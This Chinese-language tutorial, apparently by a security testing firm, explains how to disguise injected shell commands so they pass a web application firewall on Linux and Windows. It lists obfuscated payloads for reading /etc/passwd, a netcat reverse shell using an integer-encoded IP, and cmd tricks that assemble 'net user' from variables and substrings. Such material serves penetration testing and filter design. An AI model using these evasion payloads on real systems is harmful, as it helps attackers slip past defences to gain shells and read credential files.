大数跨境
0
0

WAF绕过-命令执行

WAF绕过-命令执行 卓识网安
2022-06-09
2
导读:卓识网安

WAF绕过
-
命令执行



命令执行WAF绕过-linux


01
通配符

*    代表『 0 个到无穷多个』任意字符
?    代表『一定有一个』任意字符
[ ]    同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]    若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ]    若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。


例如


ls -l/?in/ls -l




有时候waf不允许使用太多的“?”

/?in/cat /?tc/p?sswd




NC反弹shell

nc -e /bin/bash 127.0.0.1 3737为了避免符号,我们可以将ip地址转换为整型使用通配符/?in/nc -e /??n/b??h 2130706433 3737

02
连接符

echo helloecho h'ello>'echo 'h'ell'o'


唯一需要注意的就是闭合

/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd




03
未初始化的bash变量





命令执行绕WAF-Windows



01
通配符

whoamiw"h"o"a"m"iw"h"o"a"m"i"wh""o^a^miwh""o^am"i((((wh^o^am""i))))



可以加无数个"",但是不能连续加2个^符号,因为^号是cmd中的转义符会被转义


w""""""""""hoamiw""""""""""hoa^m""iw""""""""""hoa^^m""i



set命令可以用来设置一个变量。%括起来的变量,会引用其变量内的值

set a=whoami%a%



命令拼接set a=whoset b=ami%a%%b%set a=w""hoset b=a^mi%a%%b%set a=ser && set b=ne && set c=t u && call %b%%c%%a%



cmd /C "set env=net user && call echo &env&"cmd /C "set env1=ser && set env2=ne&& set env3=t u&& call %env2%%env3%%env1%"



02
切割字符串

set a=whoami
%a:~0%
%a:~0,6%
%a:~0,5%



截取字符串的语法就是%变量名:x,y%即对变量从第x个元素开始提取,总共取y个字符

-x,-y表示从后往前取


net%CommonProgramFiles:~10,1%user



set命令可以用来设置一个变量。%括起来的变量,会引用其变量内的值

set a=whoami%a%



d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%//~10,1对应空格,~0,3对应"C:"




03
逻辑运算符在绕waf过程中的作用

|在cmd中,可以连接命令,且智慧执行后面那条命令


whoami | ping www.baidu.comping www.baidu.com | wh""oam^i



|| 只有前面的命令失败,才会执行后面的语句

&符号,前面的命令无论能否执行成功,后面的命令都会执行,而&&符号则必须两条命令都为真

ping www.baidu.com || whoamiping xxx || whoami



ping www.baidu.com & whoamiping xxx & whoamiping www.baidu.com && whoamiping xxx && whoami



04
使用for循环拼接命令

for循环参数有/L /F参数


for 参数 %变量名 in (相关文件或命令) do 执行的命令for /L %variable in (start,step,end) do command [command-parameters]cmd /C "for /L %i in (1,1,5) do start cmd"


/F参数是最强大的命令,用来处理文件和一些命令的输出结果

FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]FOR /F ["options"] %variable IN ("string") DO command [command-parameters]FOR /F ["options"] %variable IN ('command') DO command [command-parameters]



【声明】内容源于网络
0
0
卓识网安
北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
内容 69
粉丝 0
卓识网安 北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
总阅读31
粉丝0
内容69